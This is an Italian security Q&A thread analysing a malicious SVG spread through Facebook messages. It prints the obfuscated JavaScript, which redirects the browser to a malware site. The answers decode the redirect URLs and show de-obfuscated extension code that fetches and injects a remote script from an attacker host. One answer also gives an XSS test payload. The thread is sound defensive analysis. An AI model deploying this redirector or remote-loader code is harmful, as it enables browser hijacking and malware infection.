Ho ricevuto un file SVG sospetto tramite messaggio Facebook. Che cosa fa? [chiuso]

16

Che cosa sta cercando di fare questo file?

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
    function jxnpgmlk(wvdxrc,lecho,jqgws){
      var uxheu = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
      var uahflv = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc\/OVM:dLg7oBpA8eSz53","M0:ARfNp1cv\/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj","aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5\/=JOij7s6C","Iu2b=zPK0\/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
      var gzzxb = "";
      var jfort = 0;
      while(uahflv[jfort]){
        jfort++;
      }
      var xlmjv = 0;
      while(wvdxrc[xlmjv]){
        var uxqpon = 0;
        var aljmjv = -1;
        while(uxheu[uxqpon]){
          if(uxheu[uxqpon] == wvdxrc[xlmjv]){
            aljmjv = uxqpon;
            break;
          }
          uxqpon++;
        }
        if(aljmjv >= 0){
          var sqakm = 0;
          var ehtbzd = -1;
          while(uahflv[xlmjv%jfort][sqakm]){
            if(uahflv[xlmjv%jfort][sqakm] == wvdxrc[xlmjv]){
              ehtbzd = sqakm;
              break;
            }
          sqakm++;
          }
          gzzxb += uxheu[ehtbzd];
        }else{
          gzzxb += wvdxrc[xlmjv];
        }
        xlmjv++;
      }
      var swidsm = "";
      for(yokncr=lecho;yokncr<gzzxb.length;yokncr++){
        swidsm += gzzxb[yokncr];
      }
      gzzxb = swidsm;
      return gzzxb;
    }
  var yaqjv = window;
  var cujnl = jxnpgmlk("OEoqu71jy",6,true);
  var gnqrek = jxnpgmlk("_9Npy9P5tSxq?Ca3tda0loX",15,false);
  var zvlgj = jxnpgmlk("66/X_X",2,true);
  yaqjv[cujnl][gnqrek][zvlgj] = jxnpgmlk("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy",2,true);
  ]]></script>
</svg>
    
posta Jmanhouss 20.11.2016 - 23:19
fonte

3 risposte

43

Questo file è parte di un virus.

È un file di immagine SVG contenente codice JS offuscato che ti reindirizza a un sito Web dannoso. Questo sito Web tenterà di installare malware (un plug-in del browser Chrome) e inoltrerà il file SVG ai contatti di Facebook. Se pensi di essere stato infettato, segui queste istruzioni: Aiuto! Il mio PC di casa è stato infettato da un virus! Cosa faccio adesso?

Analisi rapida

Probabilmente l'autore dell'attacco ha scelto un file SVG perché è un formato immagine dall'aspetto innocente e meno sospetto rispetto a file eseguibili o HTML (il cui trasferimento è vietato anche da Facebook). Ma nonostante la grafica, gli SVG possono contenere anche codice di script attivo.

Il file stesso contiene un segmento in-linea <script> offuscato composto da due parti. La prima parte è la funzione jxnpgmlk() che funge da decodificatore che decifra ogni stringa che ottiene come input. L'algoritmo esatto non ha molta importanza perché possiamo semplicemente applicare la funzione su qualsiasi stringa criptata. La seconda parte è un carico utile molto breve. Le poche stringhe qui definite possono essere semplicemente decodificate usando la funzione di decodifica, risultando in questo:

var cujnl = "top";
var gnqrek = "location";
var zvlgj = "href";
window[cujnl][gnqrek][zvlgj] = "http://mourid.com/php/trust.php";

Quindi in sostanza, tutto ciò che fa questo codice ti reindirizza a http://mourid.com/php/trust.php .

Da lì, altri due reindirizzamenti 302 seguono a http://kerman.pw/php/trust.php e http://kerman.pw/?fb_dsa . La pagina finale simula l'aspetto di una pagina video di Youtube per ingannare gli utenti nell'installazione di un presunto "codec mancante". Ti verrà invece richiesto di installare questa estensione Chrome dannosa denominata "One":

link
Modifica: Google ha rimosso definitivamente l'estensione dal Chrome Web Store ma potrebbero esserci altre istanze in giro.

Ho scaricato manualmente il file di estensione e ho dato una rapida occhiata al codice sorgente offuscato. Il manifest dell'estensione definisce diversi script di background che vengono immediatamente caricati una volta installati. Questa è la parte essenziale di ciò che ho de-offuscato:

this["fetch"]("http://cerawa.pw/manalovuci/kojakumoda.bg")["then"](function(kkuruv) {
    if (kkuruv["ok"]) {
        kkuruv["blob"]()["then"](function(yxbnjo) {
            var pklimw = this["URL"]["createObjectURL"](yxbnjo);
            var yxyiq = this["document"]["createElement"]("script");
            yxyiq["src"] = pklimw;
            this["document"]["head"]["appendChild"](yxyiq);
        });
    }
});

Come puoi vedere l'estensione scarica il codice JS aggiuntivo da http://cerawa.pw/manalovuci/kojakumoda.bg . (Si noti che la pagina non restituirà nulla se non si invia un agente utente di Chrome.) Tale risposta viene trasformata in un URL oggetto e allegata a ogni documento durante la navigazione, dando in effetti il controllo remoto dell'attaccante sulla sessione di navigazione.

Sembra che il malware possa essere attivato solo dall'interazione dell'utente, quindi se non hai installato l'estensione sei probabilmente sicuro. Ma dal momento che la pagina può facilmente servire malware diversi a diversi agenti utente o paesi diversi, non è possibile essere assolutamente sicuri di non aver contratto alcun virus durante la visita al sito. In caso di dubbio, è il momento di bombardarlo dall'orbita .

Bonus: Funnily, quella pagina è vulnerabile anche a XSS. Ma suppongo che non abbiano un programma Bug Bounty in atto ... ( http://kerman.pw/"><script>alert(1)</script> ).

    
risposta data 21.11.2016 - 00:30
fonte
9

Anch'io ho avuto questa cosa "meravigliosa" e ho giocato un po 'con essa. Risulta, si attiva solo quando si utilizza "Chrome", perché tenta di installare e l'estensione denominata "One", che è il virus darn. Se lo apri con un altro browser (Opera, Firefox, Edge, IE, Safari E.T.C.), otterrai solo la pagina bianca, non accadrà nulla.

Penso che l'essenza principale del virus sia l'estensione, perché poi cerca di rubare i tuoi dati da Facebook. Quando lo si apre in chrome, appare come segue:

Se si fa clic su "Aggiungi estensione", si viene infettati, si reindirizza a Facebook. A questo punto, devi chiudere immediatamente Chrome e disinstallarlo. OPPURE puoi aprire la scheda delle estensioni ed eliminare l'estensione chiamata "Uno", ma non penso che la rimuova completamente.

Dopo averlo rimosso, ti suggerisco di cambiare la password di Facebook e di uscire da tutte le altre istanze. (Facebook offre un'opzione per farlo.)

    
risposta data 21.11.2016 - 01:05
fonte
3

Il codice prova a reindirizzare il browser su un altro sito web. L'URL è un po 'crittografato nelle variabili stringa all'interno del codice javascript.

Se visiti un sito web che incorpora questa immagine svg, verrà immediatamente reindirizzato al sito Web - probabilmente dannoso -. Per difendere i reindirizzamenti Javascript, puoi disabilitare Javascript nel tuo browser.

/**
* @param string ar
* @param {number} opt_attributes
* @param {boolean} recurring (unused)
* @return string
*/
function theMethod(ar, opt_attributes, recurring) {
    /** @type {string} */
    var a = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
    /** @type {Array} */
    var encrypted = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc/OVM:dLg7oBpA8eSz53", "M0:ARfNp1cv/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj", "aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5/=JOij7s6C", "Iu2b=zPK0/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
    var s = "";
    var n = encrypted.length; //
    var i = 0;

    // loop over the first argument
    for (;ar[i];) {
        var mid = 0;
        var high = -1;
        // get the index of the current character in the variable "a"
        for (;a[mid];) {
            if (a[mid] == ar[i]) {
                /** @type {number} */
                high = mid;
                break;
            }
            mid++;
        }
        // if we found the charachter in the variable "a"
        if (high >= 0) {
            var j = 0;
            var x = -1;
            for (;encrypted[i % n][j];) {
                if (encrypted[i % n][j] == ar[i]) {
                    x = j;
                    break;
                }
                j++;
            }
            // append char to solution
            s += a[x];
        } else {
            // append char to solution
            s += ar[i];
        }
        i++;
    }
    /** @type {string} */
    var u = "";
    /** @type {number} */
    aNumber = opt_attributes;
    for (;aNumber < s.length;aNumber++) {
        u += s[aNumber];
    }
    s = u;
    return s;
}
/** @type {Window} */
var cujnl = theMethod("OEoqu71jy", 6, true); // top
var gnqrek = theMethod("_9Npy9P5tSxq?Ca3tda0loX", 15, false); // location
var zvlgj = theMethod("66/X_X", 2, true); // href
window[cujnl][gnqrek][zvlgj] = theMethod("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy", 2, true); // the malicious URL
    
risposta data 21.11.2016 - 00:04
fonte

Leggi altre domande sui tag